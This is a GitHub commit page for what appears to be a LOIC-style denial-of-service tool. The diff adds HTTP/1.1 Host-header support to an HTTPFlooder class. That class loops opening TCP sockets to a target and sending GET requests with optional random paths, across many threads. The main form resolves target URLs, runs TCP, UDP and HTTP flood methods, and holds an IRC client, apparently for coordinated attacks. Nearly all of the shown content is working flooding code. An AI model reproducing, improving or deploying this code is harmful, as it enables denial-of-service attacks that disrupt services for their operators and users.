Skip to content
This repository has been archived by the owner on Jan 9, 2024. It is now read-only.

Commit

Permalink
Version 1.1.1.10 - HTTP 1.1 Support
Browse files Browse the repository at this point in the history
  • Loading branch information
NewEraCracker committed Nov 22, 2010
1 parent deb277f commit 5341698
Show file tree
Hide file tree
Showing 3 changed files with 26 additions and 18 deletions.
19 changes: 10 additions & 9 deletions HTTPFlooder.cs
Expand Up @@ -13,30 +13,31 @@ public class HTTPFlooder
public int Downloaded { get; set; }
public int Requested { get; set; }
public int Failed { get; set; }

public bool IsFlooding { get; set; }
public string Host { get; set; }
public string IP { get; set; }
public int Port { get; set; }
public string Subsite { get; set; }
public int Delay { get; set; }
public int Timeout { get; set; }
public bool Resp { get; set; }
private System.Windows.Forms.Timer tTimepoll = new System.Windows.Forms.Timer();
private System.Windows.Forms.Timer tTimepoll = new System.Windows.Forms.Timer();

private long LastAction;
private Random rnd = new Random();
private bool random;
private bool random;
public enum ReqState { Ready, Connecting, Requesting, Downloading, Completed, Failed };

public HTTPFlooder(string ip, int port, string subSite, bool resp, int delay, int timeout, bool random)
public HTTPFlooder(string host, string ip, int port, string subSite, bool resp, int delay, int timeout, bool random)
{
this.Host = host;
this.IP = ip;
this.Port = port;
this.Subsite = subSite;
this.Resp = resp;
this.Delay = delay;
this.Timeout = timeout;
this.random = random;
this.random = random;
}
public void Start()
{
Expand Down Expand Up @@ -69,21 +70,21 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
byte[] buf;
if (random == true)
{
buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.0{2}{2}{2}", Subsite, new Functions().RandomString(), Environment.NewLine));
buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{2}Host: {3}{2}{2}{2}", Subsite, new Functions().RandomString(), Environment.NewLine, Host));
}
else
{
buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.0{1}{1}{1}", Subsite, Environment.NewLine));
buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.1{1}Host: {2}{1}{1}{1}", Subsite, Environment.NewLine, Host));
}
var host = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
var target = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
while (IsFlooding)
{
State = ReqState.Ready; // SET STATE TO READY //
LastAction = Tick();
byte[] recvBuf = new byte[64];
var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
State = ReqState.Connecting; // SET STATE TO CONNECTING //
socket.Connect(host);
socket.Connect(target);
socket.Blocking = Resp;
State = ReqState.Requesting; // SET STATE TO REQUESTING //
socket.Send(buf, SocketFlags.None);
Expand Down
2 changes: 1 addition & 1 deletion Properties/AssemblyInfo.cs
Expand Up @@ -13,4 +13,4 @@

[assembly: Guid("312adafc-fdac-484b-84c5-5c5457e47f67")]

[assembly: AssemblyVersion("1.1.1.9")]
[assembly: AssemblyVersion("1.1.1.10")]
23 changes: 15 additions & 8 deletions frmMain.cs
Expand Up @@ -17,7 +17,7 @@ public partial class frmMain : Form
{
private static XXPFlooder[] xxp;
private static HTTPFlooder[] http;
private static string sIP, sMethod, sData, sSubsite;
private static string sHost, sIP, sMethod, sData, sSubsite;
private static int iPort, iThreads, iProtocol, iDelay, iTimeout;
private static bool bResp, intShowStats;
private IrcClient irc;
Expand Down Expand Up @@ -59,6 +59,13 @@ private void Attack(bool toggle, bool on, bool silent)
if (String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !"))
throw new Exception("Select a target.");

if ( sHost.Length > 0 )
{
if (!sHost.Contains("://")) { sHost = "http://" + sHost; }
sHost = new Uri(sHost).Host;
}
else { sHost = sIP; }

iProtocol = 0;
sMethod = cbMethod.Text;
if (String.Equals(sMethod, "TCP")) iProtocol = 1;
Expand Down Expand Up @@ -101,7 +108,7 @@ private void Attack(bool toggle, bool on, bool silent)
http = new HTTPFlooder[iThreads];
for (int a = 0; a < http.Length; a++)
{
http[a] = new HTTPFlooder(sIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked);
http[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked);
http[a].Start();
}
}
Expand Down Expand Up @@ -141,17 +148,17 @@ private void LockOnIP(bool silent)
}
private void LockOnURL(bool silent)
{
string url = txtTargetURL.Text.ToLower();
if (url.Length == 0)
sHost = txtTargetURL.Text.ToLower();
if (sHost.Length == 0)
{
if (silent) return;
new frmWtf().Show();
MessageBox.Show("A URL is fine too...", "What the shit.");
return;
}
if (url.StartsWith("https://")) url = url.Replace("https://", "http://");
else if (!url.StartsWith("http://")) url = String.Concat("http://", url);
try { txtTarget.Text = Dns.GetHostEntry(new Uri(url).Host).AddressList[0].ToString(); }
if (sHost.StartsWith("https://")) sHost = sHost.Replace("https://", "http://");
else if (!sHost.StartsWith("http://")) sHost = String.Concat("http://", sHost);
try { txtTarget.Text = Dns.GetHostEntry(new Uri(sHost).Host).AddressList[0].ToString(); }
catch (Exception)
{
if (silent) return;
Expand Down Expand Up @@ -606,7 +613,7 @@ private void tShowStats_Tick(object sender, EventArgs e)
int iaRequested = http[a].Requested;
int iaFailed = http[a].Failed;
http[a] = null;
http[a] = new HTTPFlooder(sIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked);
http[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked);
http[a].Downloaded = iaDownloaded;
http[a].Requested = iaRequested;
http[a].Failed = iaFailed;
Expand Down

0 comments on commit 5341698

Please sign in to comment.